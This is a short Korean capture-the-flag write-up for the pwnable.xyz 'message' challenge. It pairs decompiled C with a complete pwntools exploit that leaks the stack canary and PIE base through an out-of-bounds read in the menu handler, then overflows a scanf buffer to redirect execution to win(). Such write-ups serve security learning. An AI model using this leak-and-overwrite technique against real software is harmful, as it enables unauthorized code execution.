[pwnable.xyz]message
처음에 admin만 어떻게 덮으려고 했는데 덮을 수 있는 방법이 없는 것이다.. 게다가 보호기법도 다 걸려있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
unsigned int v4; // eax
char input; // [rsp+10h] [rbp-30h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup();
puts("Message taker.");
printf("Message: ", argv);
v3 = &input;
_isoc99_scanf("%s", &input);
getchar();
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ", v3);
v4 = get_choice();
if ( v4 != 1 )
break;
printf("Message: ");
v3 = &input;
_isoc99_scanf("%s", &input);
getchar();
}
if ( v4 <= 1 )
break;
if ( v4 == 2 )
{
v3 = &input;
printf("Your message: %s\n", &input);
}
else if ( v4 == 3 )
{
if ( admin )
win();
}
else
{
LABEL_14:
v3 = v4;
printf("Error: %d is not a valid option\n", v4);
}
}
if ( v4 )
goto LABEL_14;
return 0;
}
의외로 익스는 간단했다. get_choice()
함수에서 취약점이 터진다. 여기서 rax control을 할 수 있어서 해당 주소 값을 1Byte씩 가져올 수 있다. 그래서 canary, pie leak해주고 1번 메뉴에서 리턴 win()
함수로 덮어주면 된다.
exploit.py
from pwn import *
# context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30017)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
admin = 0x00000000002021E4
# b*0x555555554000+0x0000000000000A76
sla('Message:','AAAA')
canary = ''
for i in range(0x3b,0x3b+7):
sla('>',chr(i))
p.recvuntil('Error:')
canary += chr(int(p.recvline().split()[0]))
canary = u64(canary.rjust(8,'\x00'))
log.info('canary : {}'.format(hex(canary)))
pie = ''
for i in range(0x4a,0x4a+6):
sla('>',chr(i))
p.recvuntil('Error:')
pie += chr(int(p.recvline().split()[0]))
pie = u64(pie.ljust(8,'\x00')) - 0xb30
log.info('pie : {}'.format(hex(pie)))
sla('>','1')
payload = 'A'*40 + p64(canary) + p64(pie + 0xaac) + p64(pie + 0xaac)
sla(':',payload)
sla('>','0') # Exit
p.interactive()